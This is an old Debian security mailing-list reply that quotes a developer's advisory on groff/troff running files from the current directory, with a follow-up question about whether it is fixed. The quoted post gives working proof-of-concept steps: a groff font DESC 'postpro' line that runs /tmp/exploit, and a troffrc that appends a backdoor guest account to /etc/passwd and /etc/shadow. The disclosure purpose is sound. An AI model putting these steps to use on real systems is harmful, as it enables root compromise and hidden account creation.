Re: Groff/troff security exposure
Just a question. I've tried it on my own server which is Debian 2.2.17 woody(unstable) version. I got the following message when trying 2:
./troffrc:1: can't open `/etc/passwd' for appending: Permission denied
./troffrc:2: no stream named 'passwds'
./troffrc:3: no stream named 'passwds'
....
Is this bug already fixed in Debian 2.2 Woody(unstable)?
Thanks.
>
> Este es un mensaje multipartes en formato MIME.
> --------------51FB8B50EEB0D33A488ACDC7
> Content-Type: text/plain; charset=iso-8859-1
> Content-Transfer-Encoding: 8bit
>
> I have just read a security announcement sent by ISSalert regarding groff
> manipulation that can lead to a security compromise (available at
> http://xforce.iss.net/alerts/advise63.php).
> The problem is that both troff and groff read files in the working directory
> which can spin off commands in behalf of the user. This can be very sensible if
> the one running a 'man' command is root since the whole system is exposed.
> For in depth information refer to the link above, I have tested an exploit in
> Debian GNU/Linux 2.2 and works as expected.
>
> 1.- groff attack
> Reason: Groff will read any "devXX" directory available at the local dir and
> process 'postpro' commands execv'ing them.
> Test: Put a 'devlatin1' copy of /usr/share/groff/font/devlatin1/ files in the
> /tmp dir, edit the DESC file to include (at the end):
> postpro ../../../tmp/exploit
>
> Now put your favourite exploit in /tmp/exploit (for example add a new user to
> /etc/passwd and /etc/shadow)
>
> Then run 'groff -Tlatin1 ls.1' in /tmp as root. See what happens
>
> 2.- troff attack
> Reason: troff will read any 'troffrc' file in the current dir
> Test: put a troffrc file in the /tmp dir, check the troff manpage to see what it
> can do. For example:
> .opena passwds /etc/passwd
> .write passwds guest:x:10000:10000::/:/bin/sh
> .close passwds
> .opena passwds /etc/shadow
> .write passwds guest:AqualifiedHashPsswd:11215:0:99999:7:::
> .close passwds
>
> And run 'troff *anyfile*'
> Check /etc/passwd :)
>
> Now, this will not exactly work when doing 'man' since it will
> 1.- set its directory to where $MANPATH or where /etc/manpath.config points to
> 2.- change euid to 'man'.
>
> However, man is not the only system that uses groff. I've checked package
> dependencies and, for example: gnosamba (configuration utility for Samba that
> will surely run as root since it has to change /etc/samba) and a2ps *do* use
> groff.
> I have not checked their sources on how could this be exploited, but if they
> have not be carefully coded to check this situation (like man is).
>
> My suggestion: groff and troff should *not* extend their paths to current
> directory, *or* should not allow processing files from different users if owner
> is root (to avoid a root compromise).
>
> Regards
>
> Javier Fernández-Sanguino Peña
> Debian GNU/Linux developer
> --------------51FB8B50EEB0D33A488ACDC7
> Content-Type: text/x-vcard; charset=us-ascii;
> name="jfernandez.vcf"
> Content-Transfer-Encoding: 7bit
> Content-Description: Tarjeta de Javier Fernandez-Sanguino Peña
> Content-Disposition: attachment;
> filename="jfernandez.vcf"
>
> begin:vcard
> n:Fernández-Sanguino Peña;Javier
> tel;fax:+34-91 806 46 41
> tel;work:+34-91 806 46 40
> x-mozilla-html:FALSE
> org:SGI-GMV sistemas;Seguridad Lógica
> adr:;;Sector Foresta 1;Tres Cantos;Madrid;E-28760;Spain
> version:2.1
> email;internet:jfernandez@sgi.es
> x-mozilla-cpt:;28448
> fn:Javier Fernández-Sanguino Peña
> end:vcard
>
> --------------51FB8B50EEB0D33A488ACDC7--
>
>
> --
> To UNSUBSCRIBE, email to debian-security-request@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
>
>
Reply to: